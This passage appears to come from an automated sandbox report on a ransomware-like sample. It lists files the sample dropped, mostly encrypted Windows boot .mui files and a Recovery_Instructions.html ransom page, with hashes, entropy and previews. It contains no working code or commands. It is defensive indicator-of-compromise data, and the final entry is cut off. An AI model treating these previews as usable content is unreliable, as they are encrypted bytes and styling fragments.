SHA-512:	00CC21A1F8545936C7E805C4B9DC0E05C470385FF0B0A106F5AEBB71A84615961DD60970C89B33E566EC2DD61258B53106834E7B071FDDBEED90AA1FF294223E
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o...kR....q.Dq.y1....h.....tE.H.f...........k#...i..B.2...C[.~.........[.\|..d1.yKHRDa9.f6u+.-.^..1.T.w..?f..iQj1.....G....{..y.P....c...V..G....0..veI.......sU6.....j........pL..^.......l.I~m...+.Zo.0'...)dA..A.i=)....._.(...xQ..~.'.\....( .>.... ..$......Z\@.'...hb.`...'T.!h.;L..I....X...1.Rw...l8~....v.....M..hD.\|....xT...P...~K.....Ec..`..X..n{].S.u.1....'.-\~i.....QQ"......_>B....7.o.5......K../.]UN...X.x7...A U.....;.G........Y...q..i...p...`..i.0....W.8Q\|QM...,.}w6e..zq..VO..4...k...h...KDa...8..}.u.k.G.......K32.T..a..%X.-}.....r.TRv..D.){p..GO.~.....\..Pb..1jo/,'.n,.....@..IO3V..7F..v...3.}.7~...$.c.$.A)=.l....g.=.N...9...s5.W#..OAx..9......7..O...S. .)g....JJ...

C:\EFI\Microsoft\Boot\hr-HR\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\hr-HR\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997833887378752
Encrypted:	true
SSDEEP:	1536:647esyQBXzN5h0HmDieEFWq/Yzk3srNju5aYLyVgOf6sCs:6QesyQBXzNEoE9Azt5juXLwL3
MD5:	A05BB30F854A3C3584076D88DF8C0A40
SHA1:	C25739DACE35650FD526ACBD56ADFF1AC757E472
SHA-256:	C7FAE338472290EB12A1291F94A9AAC3CF563DE34974A10BE6B403A9CEA5C4A9
SHA-512:	DC51B1B5AE1D653355CBC9F8D32502EE6F7F6E41A9613740CF641686E7ECB180A29709BE2145F1B3F26909BFB789B49AA581CCC421C13EFB1414D1BFC7522BAE
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....G.R_.m......aX..0......L. l....j..m..7...\|.KQ.-.....[.Y..........%.?6...r.Q3..Q8....D:OJ.,.5..f........qg+...!.J...@).k...~.(!n.r...../O....a..!.= .....9.[(..u...rM..:nsc.p`.....4.TB..LE....=.0!.4.....D..\^:!Ev....H....w......\8Q.. .....#N..qA....>tKO..V...........j@>Cx.g....'0.......P.A..y<..$..9F..%...4iAH..]\..:....3..e.e...1XG"..C. .%].....6..7.7.n..t........5r..Z......\c.V...c.Lpw...c...b..X.rB.N....s..c#......>.n...F..psdU...?....Ea..Vk.I.'.........f{PAs.)q.xu.X..k7i.5....x~..;..........qn..+.1tZ...9....i......^GW..qeQR..Z.n...<.....{Xb%...%.........A...$.~..c.9I...L......v.5.c.lb.@a.A\....=..+CSFH.p..~..p9..:8}e.]..6u....j.Y.$.\|4H/\|.+.......{.?......+.G...E...0.7L.e.......

C:\EFI\Microsoft\Boot\hr-HR\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997951856781439
Encrypted:	true
SSDEEP:	1536:sJOQmCnpPknH1y8AYVBbtsYTSHq/pgGaeJB0G8lIgBTGi3HQxoD:EjpsVy8AYTJsYTSHqx8eJSG8lIgfHDD
MD5:	3724955F5EFE0CF122D79250A3BCFA72
SHA1:	97E14A35F48FF45389CCDE0BFD893BB02DDE416E
SHA-256:	F608C11B20E3861462E7C8759BDF79F368A101C734C8B37A94955DECE1478526
SHA-512:	B0218C7A2E301F9710ED240C8C2E257C3641803FD26FF529707A99C6D7653AF4EBA63628357CB8C2886D330E69731CB9F438F23ABD063DD27123B5350D4C9599
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....G...vZ.........?..........?8...J}R,Y.....M^.s.q..}....._d4...vX.D...7.>#..G.b(E].}jmR.U....zjg.G.x...Ju..^E.Pm.....ON.Rz.X........Cmm.a.>.8.=N.I.............TQ...7N....0...W.?$C..._j...!......2(i....8...=x.......Q...D~.Qa.f.p..........'..b...I`.......]A......r;..[....-..DK...o7.A.4.%.!;..-2.1G..X..]......:.P6.r.iSw.M.$.....N.&....!.F.M.sfp.\.~.W?v..Td..H..Dc.8.^...)..0G.........{.8\|Sx.18..........>.^...c,U.:.Q\7.6~.E.;...<.O+....U.J["Xy6...3=..>.......M.s........./...E.......j.....F.j..y.q4.n..........;..V.`.U...2.X..[.5.9.>....U ?..P..!Y"..S.<z=..;.. xw....S.1k....A.....UDxS../..e....C..v.../."....I..R.Z..\.\|5...!........;......\|.....Z....8....sh.......1&h.j8.<..,.Z....

C:\EFI\Microsoft\Boot\hu-HU\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\hu-HU\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997303274123528
Encrypted:	true
SSDEEP:	1536:vzfqORUnQpBcN52AXwoF468+vp0FyA2vAYdesbJ73Javek/I:LiORUnQpBcNtXwo+68+vGfYVbJw9/I
MD5:	871A70B7C32FAE31583031418B429349
SHA1:	45ED85C2D568C38A1638C8AD3E3D3DE5ECD8F469
SHA-256:	60363F4498C828AF77960F0A2EB95FA42EC9A115E305C3A6BFFAAC35ECDEA9EC
SHA-512:	972BE8D4D2410EA902F3382778A16522BCC23B13E78FE01C76A7DE8685791CB29816138F7CCD31E8FE9ED423539C899001413733AA8366D4E3BDD77AC3A98497
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.1r...=i..k..>......].w3?.s.Gx/.tT.9..O......aM/[Z...3..S..9"c...h..Pg...0.:(K......T.O3%..c.F;...+....`...WXp...P.WZ.^.\|M1..o..#..@._.w..[.K.,d.fN....5..i...K.)h..>.$,.H.......//.....G.u[.."M..O2#.).yxW.x.n..j..Y.......y.To...\.L.k.l......W...#.nW.G...{At..Um.=.<]Q..-....H.r./X...oJ.x0.r.~.$3...o.n..3Pr...g....:...o_....;L..~.. .3.Y4...v.J.D....B...F.".5..^(.tF..o."m.;.A:.w.....s.C.l..o....JG.MMzW<+\|.!k.3u.@...%.J.".....9Z........U'\k_....5......\|].._.o...0n.z>2....kCE.>.8..c..%bL.......P..e_{A\...<.:..Kq......7 .=.7.+.w,G.0...J..... ./.z.H...+j.H.....iX..k.....&A!^...4...e..\...,OW.pg.......?.H\L..'a..:J...jjy.P.\|.k..N...=u.r.-Qy...~A@P,-...spN..F&Gv8._....-x..b..k..y.......9.(......Q...VI2..y#.EA..$..*Z....U....-.~M.U.Y%.[.

C:\EFI\Microsoft\Boot\hu-HU\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997669779878091
Encrypted:	true
SSDEEP:	1536:oMAbAinzefP+t6YI/oPn0Mx12sUbFocNX4QQKI2PdbkNT7ihjn:0kKafP46YI/I5X2fFj/Qh2Pdbk0hj
MD5:	89C358AFA824EF55B418FC560E8BC980
SHA1:	36EFD606A432B4A9A0102D2434F3BF738627B625
SHA-256:	F29C3FA7EA15C95D58F4CD1F84496442B5F70C4C5E86AA728ACFB7DD5B6EDC33
SHA-512:	1FD0B2699B9EE8712ADA4D9276DB00795AAB77B068CCCC57E6CF6723B9C00A96389FB831BE478EFAA12C97CA954EDFB5A7063D4DEE73B9F418756E1DB5F75045
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.1r...=i..k..>......].w3?.s.Gx/.tT.9..O.....g...a{b.01.U....O5....K.Bd%..J].lF...Q#.!/.g.%nT.....D..n!;..?.ANpK4{RVxM.Q+.s..q.stE......j!.y.9{(....SU&@..S.. ....<...r)...U.9.!@..V!......a...Z )D%.G.8@.^.?;..0......R.&o.7y..j_:hlP..C.Im...M.......VI....7U...v........D.()...+^.,}.XT....}..."......d...aV.IAX...3j."R.q../9d....\N.h.&dlh.n.......g.."{..Y..%.z..{..8`.(.+n...B.........[.+G..S.?y.\|.Z.yn[.J.....sE-.-(+.;:...5.mA..ne...V].m.V...E..._\|..@.......<R...T.7....3.......E.~........L...TZ.L..y.&C.....^(..j.x.............v...l.. .GO.._..;<..Y#..../...O[..K...iR.wp..j.h<....O.n.......ME..4H...}....0(v3K7..fx2...\|...../.O[...}..?_l....'O=.I..0..r.2..Ir..4.5c..$..k..a. .....}M..{....gX.^..M.b...N.`............^..7....>E../_......F3..

C:\EFI\Microsoft\Boot\hu-HU\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996142998796101
Encrypted:	true
SSDEEP:	768:CTbwcYj5RS251tyw17p44lxK7vHSBNL1Ty6JWS0yOnVI9zOB5XYiwRxlfGba+Pgv:CTLYjvS25N1N44l876L1RJl6hegu8ufH
MD5:	E80114A0E3020A642900BBFADD1A5309
SHA1:	B9055F224CA30AB4CB8DEF596BEE4339E124715E
SHA-256:	A50B8A6C2F9C21B9B43AEB59F9761DC0464004B63A6737AF91932F63385B2B2B
SHA-512:	5EB60A5693CA0D68AC4F99D825909ED84FBAC827C8ABE5D9B53C9D18309A042D735CE9528D47CFF21B7A940F4A15332943087198BAAC577C553A0D636A84962E
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o......E.C..L..<..v..5..l..[...'9}.....:X.....;....RF{..............=..:{...B)....}..v...s.\.]&...]......=.....iWYI..-..M.......u..n..]..0L...W.E]..M..a~.22;.......2....VGw...^.@.G...N ...4.w#7\.9t....(un..6Mm.(...8+.T...q...].......}.K....S..QX..Rz....F.)....F%..C....5b......#u6.......K.b....~ ...3...,s..j.g........\EMC...O.g....Yl..../C..m.J....~S.y9p@9..`...../..FAC.V;..>4..ch..F....#...t%.' ......W.@..!..]..n.6..k...[?,^....jnw:!..C<..'T .vb..k._.8.}.:..@^.x).c.B....4V*.W...\.t5y.'...oM.!... .l\.....W.A.).....}.%q....h........e.......6o....^..X6.X}....It..&...%...,...L....5.r...3.....2t<N.[....i...3.Bmn..?.<D...Z..u.zs.9..W.z.=..X.H..._.....,p...!.g%.#....e.D.e..tG......P$..0 ..>.".

C:\EFI\Microsoft\Boot\it-IT\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\it-IT\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997532060602381
Encrypted:	true
SSDEEP:	1536:GiYRcHHUCez2LmIVwroCBJ+hGNpRL+07I1L1zRxpbQhdM7BUTNwADsDZosU:G2H0NzamIVwsCBdNfa07KltOuqNYDZu
MD5:	4F464803EFD9610E7D1E0FA766BB3CE9
SHA1:	0366831CE2369978A3A3A66323D52D0C6DE36DCC
SHA-256:	28F76A8A3CC34924C7188624A50701859219745DC2027E7C4809BE8CA69959C5
SHA-512:	19A4EF8037148B6061D5AD57338456E332E9154561462B569E3909CC1FDBAFDCC287CC5529288ED149A502265F7B5DD859F227B3DBF0B75F8792B56F22589ED7
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{..eQm.wiP......>......8..,._..&.../j..t.\).&....%@dj8....J9..8r.BT..q.....}.Fn.3..YZ.7.."7oW"..J...QIP..j^..c.y.W/.j\..PE..y.>..G.!.n.B...Uv.P....U....J.g...S...^..u..oG..[gK.}.J..}d..s;V.T....0.X.zGq>K;.-..V....^....Z4=.E\|Bg....I..D(.u%.3...0..s.S.&J`79..((....W?.]...\'......p.._.....3.A0a{.3M.g.3........m.a...f-...A(........Y.........tg.4Fmt%.(.ua........T...B;.r...C.R.d.....=8..[...)(N....kU.f0..U....r......../P..V....$..(N2..).....`..-.xQq.J.."..4.pAyYDkt3I"G.)........D...{.5_".vX...../.....7..~J.r................'..$Rv...8.n.....P;e.K.........#B{.Et.TZ...S...i.=..........<.A..>...R..vn.P.........zM..........#k4.E9m?..\|...8.+0.J...1J....N.Tp0,d.bsg..du...+7fP.).f....G.V%.9{

C:\EFI\Microsoft\Boot\it-IT\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9978865785287825
Encrypted:	true
SSDEEP:	1536:LgDnkmVBrfXubukJ1xdsY4tXZFavj1a4NnJDljwo61WHB/FUoonGIPLx+/:WVdfXPkv/yXZovj1vbDljKOFNEDL0
MD5:	7D7AA297153EB65DE9EDB3BBDE711126
SHA1:	C72C0B1FF289D2BD48CCDEE0F507D5CD8231123F
SHA-256:	55BE600F8B304269287A7D225EA4F6AC788A02397E64856041081BC601E7C77C
SHA-512:	329C2F04979DEC1B6EC0B549D8D69586254C0F0BEAC402AC35164CD72A266561D9AFD3A6A44661E0AEBD5B94473585F8E71EC18EA63D0E5B10EE60FD4C7AB5F3
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{..L.I.l..@.Tq.vH.....bP..p.~..._2../.t?..C....y.."<l.X....<v...l....>..D....jF.......'..".X...(......tkW.G.%....`w..a.m..`dgq.G......Vu\|..K........p..}..~..-..7.;.B.B.r......9.Y....]...:.P..&"'.C8....g...e.`...Z.....9.....C.o.R.....I.=..6v4^.B.?..-..!Cv......V...(.\|.HnS.A[U..E....%..Xj..Y.w15G&..b%....s...N.Q...Q..V.\YrL.7F(S..3.P.Aw.....2..:%.....d..........!...W.o..~.{.f..J.P.1y/...<.":..$./........R...V......R...r..&X.tK.......K.pe..2.N..G.Q.o..S.p......"'kflA.f....z.I..5"....7.."UVe.f.g.- ..wq..E/FI.+...t%o........z.....T..O......l.:.wj....RH.f...ky.......d...4,t.k....eL..2y%...}.....p.CU.Z8*.Q..&.....g.}..}.;...U.. .9E{...8..G.CR.p........9NDw..C6.1......+....7z......U-...{"

C:\EFI\Microsoft\Boot\it-IT\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995834129452137
Encrypted:	true
SSDEEP:	1536:O5TmoVo+8KTb+ljlX0C/iXvP4Kr9DPJnU:AvZ3HSj6qKrtJU
MD5:	06FE722458CCA2B001E827383C5D7265
SHA1:	D9D2FC09411F3ED952A8628AE036AC26D2EF8557
SHA-256:	27A5EE18F46FB91E21798AA95EA14D0C7C030C721C8AB870ACDD1991A696483D
SHA-512:	54AF194D3E8C09AC1FEE8A3B908B0B817A42740D6F2C80461918226B7682F6D1A78FAC75CB2599F231CB4D382987F5F0AF7FF439B0AA4904A4CA8B4396037E90
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w..}..Ty..\|\..k..Z.'.R..J..vo.....a7.l..[OV....../.'.O(.hj_....VZ3./.~....A...5.....r_.5Ud..5i.T....H..F.l....T..5.d........(N...Cz$O..X.x.D.$..H..X...W.....pZe....<.'...FtO...%.:.MS.G..y?..v.L.5_.z.O-7..-1iM...tu..>...W~../3.J.n.$s...s.[-8UOm.z.9.n<.{...!e..!.E......-...-k..3...oH..>`x..d/.2.ewR....v.jR.P@\|K....8S.)..s....}.A.[M?...Y...(6...t.'..^..Xx.m.7..w.......h.D.[..tf..u..V.~.!A.k.)..O.".D..._...O...3..6sg@~..,.:eS[l6``.V.....8p+.?m(_...Wy.=.cHt.Bc..~.qVp.*'....r.@h....6?9..WhG.h.PF.d-....>]\T....<y1..^......U.o...l.{..n......!Q..^.......k-......y.R.....F4.Zl.....z....r.N.d.#...vQ%1yG.H...........f>...1S..H-.\|.z..s.;5.K.cW.9p......K.0.`.0..U.;^5.<1.?..80.84P[....(....G..(...o.

C:\EFI\Microsoft\Boot\ja-JP\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\ja-JP\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	74264
Entropy (8bit):	7.997998340948887
Encrypted:	true
SSDEEP:	1536:jPwbXfeUKbeb6HwNk7qo/UvZaX5TxOYMkfM025uLZPzC3AVj1q1EI3:jPwiUKqGekv8vZolORkfM025uL9zC3my
MD5:	46E839019B1E50F2F9E7F0D0F30248D1
SHA1:	99185C59708B4E7EE0B7ACD72B4EB23AC0ECAC82
SHA-256:	5D4E0AF9939C0247E07651A13AA351CD738D5B57787165BCE6BBD3898E199E6E
SHA-512:	5A83C70A628006CF39E3E6AA8F933586089BFE54603A0DE05B9A1986995A993B6E088849576F8B58534EBF8B7F97C0A851E412435B34C6F01632123537D1EF28
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%vnz....9.._Y...H7G..mMf.K........":..vb.m..,....U.l...NZ.4..CW.Eep....E..,'-Oh\....8...8.)j.!..aW..b...J..B&..#........k..g.$.<..4.,.O.b.....k..M.h.Z..?........c....K..'].i........ qvl.2IR.?..........Q......w...3j<.....j.=..4.e.. f..a.*.....JO...a.e.Z..F.3>.U.T..@PO.A.^F..sh'........I.....U.....`.....L.$.Y..=.......@d....2.9_d..{..,+..y.h..1.Y..Lv..+.c4..v.t...b\|......_.^.....U.C...r...w...vs..00....)...........B..&.<.X..hD".m....2........j.[.L."..(...S.g...~.H.8.(....$....w..(....../p;..Y3+;.CR....t`j.8....".`..sC.5..dI.7`B.!.....pPX..k.........%-...N..\[R.T..Wpk.b.....(..o-y.t...#.W.x{h4...@.n.&.j.6..Z........'hqc....F....HJ...."...p6.M.I.....Y..i.....lU`.ka..&t.K....9K..(.=.........A=A.a.4.j...(...x...Q`...(4.`....jc:L.U...Ma.3...

C:\EFI\Microsoft\Boot\ja-JP\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	74264
Entropy (8bit):	7.9973644335986815
Encrypted:	true
SSDEEP:	1536:B+9dq1+x7Q2y7zlQV4VgpW1ePDoDM375s1ColCcWd/kQ4NSX4:f1X2y75WD8kPmM3q1ColCcWd/OJ
MD5:	34AB1E3E7C9FE597838C82802F4F2854
SHA1:	A41B92D1DC45AD1D7E2C7D256B2FBDE5EA03503F
SHA-256:	277E84484CDD0465BC9D35311877B098DF26786BE5227BB1551CC75F36B766C1
SHA-512:	1F879785A32F7ED14836577C1004A01AEEF7183EC4EDA296297DD14A77A3EBB954097701A3577A958AF26F26C27CC243C2D04363ED316C521CEA36AF35343208
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%vnz....9.._Y...H7G..mMf.K........":..vb.m..,..........."P=u./.z...#.b$.........]B.g.t.s.c.U....,. 3..$rq.k[...R.Q..1.;`"..{.....'......88.4PLd.oPL.....g..\|k...\..g.ESG........L4..).8...}...\.m..T...o.!&).6Vl.]...Ks#.....p./bg...W[=.~..i.4.(..E.0BjN...gf9..d..N6MWw..$.....@.1....~..]..uy....<.\|..\|.dM..........7a...L.;.....B........j..xe...!..J...E.S%AJ....bJd......\|.~'.r.V...mu...I.d..;..uz.. Vc.m....X.`......F...>]>6l:.@..7...I.;.EJ....+&..j.+.../}.......R....!.._.n;,...#q..U...W...]~..N.q........=:a..2".Z..r.."4....xZuX-......0.lw...x.n..JI..J..z..RX.D..[g0.J.9....#J....\Y..t.t(.#..G.g...... .'..A..m.k};..d...N.}.fLl..u.Yk.B..,ks..\|....=..l.H.p...8C...I.#..j....m..v)-d,.P..m....!..w.^...A .O6...K....<E....+.C.t>....[a..o;W.5&..:

C:\EFI\Microsoft\Boot\ja-JP\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995886381255092
Encrypted:	true
SSDEEP:	1536:8IIzc4UcTM5Y4OVF7SLIEYbg75F5w40P+6bKlnobp9m:8/z9Uc5tnEYm5F5w40d+lC9m
MD5:	6120D977DCC381836B79C1F422F8786C
